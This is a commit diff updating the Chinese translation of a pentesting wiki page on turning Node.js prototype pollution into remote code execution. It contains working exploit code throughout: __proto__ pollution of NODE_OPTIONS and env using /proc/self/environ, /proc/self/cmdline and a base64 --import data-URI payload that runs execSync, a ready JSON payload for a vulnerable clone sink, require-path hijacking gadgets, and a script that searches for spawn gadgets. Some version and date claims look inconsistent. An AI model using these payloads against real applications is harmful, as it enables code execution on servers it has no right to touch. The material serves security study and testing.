Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:16:54 +00:00
parent 10ccc62d92
commit 7371191e83

View File

@ -1,10 +1,10 @@
# 原型污染到 RCE
# Prototype Pollution to RCE
{{#include ../../../banners/hacktricks-training.md}}
## 易受攻击的代码
## Vulnerable Code
想象一下一个真实的 JS 使用以下代码:
想象一个真实的 JS 使用以下代码:
```javascript
const { execSync, fork } = require("child_process")
@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
检查代码,你可以看到通过**污染**属性**`.env`**可以**毒害 `envPairs`**。
检查代码,你可以看到通过**污染**属性**`.env`**可以实现**毒化 `envPairs`**。
### **毒 `__proto__`**
### **毒 `__proto__`**
> [!WARNING]
> 请注意,由于**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式,当调用某个函数以**设置新的环境变量**时,你只需**污染任何东西**。\
> 例如,如果你执行`__proto__.avar="valuevar"`,进程将以名为`avar`且值为`valuevar`的变量启动
> 请注意,由于node的**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式,当调用某个函数以**设置新的环境变量**时,你只需**污染任何东西**。\
> 例如,如果你执行`__proto__.avar="valuevar"`,进程将以一个名为`avar`且值为`valuevar`的变量被生成
>
> 然而,为了使**环境变量成为第一个**,你需要**污染****`.env`属性**,并且(仅在某些方法中)该变量将是**第一个**(允许攻击)。
>
> 这就是为什么在以下攻击中**`NODE_OPTIONS`**不在**`.env`**中的原因
> 这就是为什么在以下攻击中**`NODE_OPTIONS`**不在**`.env`**
```javascript
const { execSync, fork } = require("child_process")
@ -120,11 +120,11 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
```
## PP2RCE 通过环境变量 + 命令行
## PP2RCE via env vars + cmdline
一个与之前类似的有效载荷经过一些更改后在 [**这篇文章**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**中提出**。主要区别如下
与之前的有效载荷类似,提出了一种有一些变化的有效载荷在 [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** 主要区别在于
- 它不是将 nodejs **有效载荷** 存储在文件 `/proc/self/environ` 中,而是存储在 **`/proc/self/cmdline`** 的 **argv0** 中。
- 它不是将 nodejs **payload** 存储在文件 `/proc/self/environ` 中,而是存储在 **`/proc/self/cmdline`** 的 **argv0** 中。
- 然后,它不是通过 **`NODE_OPTIONS`** 要求文件 `/proc/self/environ`,而是 **要求 `/proc/self/cmdline`**
```javascript
const { execSync, fork } = require("child_process")
@ -149,6 +149,47 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
> [!NOTE]
> 自 **Node.js 19**CLI 标志 `--import` 可以通过 `NODE_OPTIONS` 传递,方式与 `--require` 相同。与 `--require` 不同,`--import` 理解 **data-URIs**,因此攻击者根本 **不需要对文件系统的写入权限**。这使得该工具在受限或只读环境中更加可靠。
>
> 该技术首次由 PortSwigger 研究在 2023 年 5 月公开记录,并已在多个 CTF 挑战中被复现。
该攻击在概念上与上面展示的 `--require /proc/self/*` 技巧相同,但我们不是指向一个文件,而是将有效负载直接嵌入一个 base64 编码的 `data:` URL
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
利用页面顶部显示的脆弱合并/克隆接收器:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### 为什么 `--import` 有帮助
1. **无磁盘交互** 有效载荷完全在进程命令行和环境内部传输。
2. **适用于仅支持 ESM 的环境** `--import` 是在默认使用 ECMAScript 模块的现代 Node 版本中预加载 JavaScript 的标准方式。
3. **绕过某些 `--require` 允许列表** 一些加固库仅过滤 `--require`,而不影响 `--import`
> [!WARNING]
> `NODE_OPTIONS` 中的 `--import` 支持在最新的 **Node 22.2.0**2025年6月中仍然存在。 Node 核心团队正在讨论未来限制数据 URI但在撰写时没有可用的缓解措施。
---
## DNS 交互
使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测其是否有效:
@ -228,9 +269,9 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
为了使 **`execFile`** 工作,它 **必须执行 node** 才能使 NODE_OPTIONS 生效。\
如果它 **没有** 执行 **node**,你需要找到如何 **通过环境变量更改执行** 的方法,并设置它们。
如果它 **没有** 执行 **node**,你需要找到如何通过 **环境变量** **更改执行** 的内容并设置它们。
**其他** 技术 **在** 没有此要求的情况下 **工作**,因为 **可以通过原型污染修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在执行的内容)。
**其他** 技术 **在** 没有此要求的情况下 **工作**,因为可以通过原型污染 **修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在执行的内容)。
</details>
@ -463,18 +504,18 @@ var proc = spawnSync("something")
## 强制生成
在之前的示例中,您看到如何触发小工具,功能需要**调用 `spawn`**的功能**存在**(所有用于执行某些操作的**`child_process`**方法都会调用它)。在之前的示例中,这**代码的一部分**,但如果代码**没有**调用它呢?
在之前的示例中,您看到如何触发小工具,功能需要**调用 `spawn`**(所有用于执行某些操作的**`child_process`** 方法都会调用它)。在之前的示例中,这**代码的一部分**,但如果代码**没有**调用它呢?
### 控制 require 文件路径
在这个 [**其他写作**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) 中,用户可以控制将执行**`require`**的文件路径。在这种情况下,攻击者只需**找到系统中的一个 `.js` 文件**,该文件在导入时会**执行一个 spawn 方法。**\
在这个 [**其他写作**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) 中,用户可以控制将执行**`require`** 的文件路径。在这种情况下,攻击者只需**找到系统中的一个 `.js` 文件**,该文件在导入时会**执行一个 spawn 方法。**\
一些常见的在导入时调用 spawn 函数的文件示例包括:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- 在下面**找到更多文件**
以下简单脚本将搜索**来自** **child_process**的**调用** **没有任何填充**(以避免显示函数内部的调用):
以下简单脚本将搜索**来自** **child_process** 的**调用** **没有任何填充**(以避免显示函数内部的调用):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
@ -500,11 +541,11 @@ done
### 通过原型污染设置 require 文件路径
> [!WARNING]
> **之前的技术要求** **用户控制将要被 require 的文件路径**。但这并不总是正确的。
> **之前的技术要求** **用户控制将要被 require 的文件路径**。但这并不总是正确的。
然而,如果代码在原型污染后执行 require即使你 **不控制将要被 require 的路径**,你 **可以通过滥用原型污染强制使用不同的路径**。因此,即使代码行是 `require("./a_file.js")``require("bytes")`,它将 **require 你污染的包**
因此,如果在你的原型污染后执行了 require 且没有 spawn 函数,这就是攻击:
因此,如果在你的原型污染后执行了 require 且没有 spawn 函数,这就是攻击:
- 找到一个 **系统内的 `.js` 文件**,当 **被 require 时**将 **使用 `child_process` 执行某些操作**
- 如果你可以向你攻击的平台上传文件,你可以上传这样的文件
@ -513,7 +554,7 @@ done
#### 绝对 require
如果执行的 require 是 **绝对的** (`require("bytes")`) 并且 **包在 `package.json` 文件中不包含 main**,你可以 **污染 `main` 属性**使 **require 执行不同的文件**
如果执行的 require 是 **绝对的** (`require("bytes")`) 并且 **包在 `package.json` 文件中不包含 main**,你可以 **污染 `main` 属性**使 **require 执行不同的文件**
{{#tabs}}
{{#tab name="exploit"}}
@ -556,7 +597,7 @@ fork("anything")
#### 相对 require - 1
如果加载的是 **相对路径** 而不是绝对路径,您可以使 node **加载不同的路径**
如果加载的是**相对路径**而不是绝对路径,您可以使 node **加载不同的路径**
{{#tabs}}
{{#tab name="exploit"}}
@ -636,9 +677,9 @@ fork("/path/to/anything")
{{#endtab}}
{{#endtabs}}
#### 相对require - 3
#### 相对 require - 3
与之前的类似,这在[**这篇文章**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)中发现。
与之前的类似,这在 [**这篇文章**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs) 发现。
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
@ -668,10 +709,14 @@ require("./usage.js")
请注意,原型污染在访问的对象的 **attribute****undefined** 时有效。如果在 **code** 中该 **attribute****设置** 为一个 **value**,你 **将无法覆盖它**
在 2022 年 6 月,从 [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) 开始,变量 `options` 不再是 `{}`,而是 **`kEmptyObject`**。这 **防止了原型污染** 影响 **`options`** 的 **attributes** 以获得 RCE。\
至少从 v18.4.0 开始,这种保护已被 **实施**,因此 `spawn``spawnSync` **exploits** 影响的方法 **不再有效**(如果不使用 `options`!)。
至少从 v18.4.0 开始,这种保护已被 **实施**,因此 `spawn``spawnSync` **exploits** 不再影响这些方法(如果不使用 `options`!)。
在 [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) 中vm 库的 **`contextExtensions`** 的 **prototype pollution****在某种程度上被修复**,将选项设置为 **`kEmptyObject`** 而不是 **`{}`**。
> [!INFO]
> **Node 20 (2023年4月) 和 Node 22 (2025年4月)** 进行了进一步的强化:多个 `child_process` 辅助函数现在使用 **`CopyOptions()`** 复制用户提供的 `options`,而不是通过引用使用它们。这阻止了嵌套对象如 `stdio` 的污染,但 **并不保护上述描述的 `NODE_OPTIONS` / `--import` 技巧** 这些标志仍然通过环境变量被接受。\
> 完全修复需要限制哪些 CLI 标志可以从父进程传播,这在 Node Issue #50559 中被跟踪。
### **Other Gadgets**
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
@ -682,6 +727,8 @@ require("./usage.js")
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}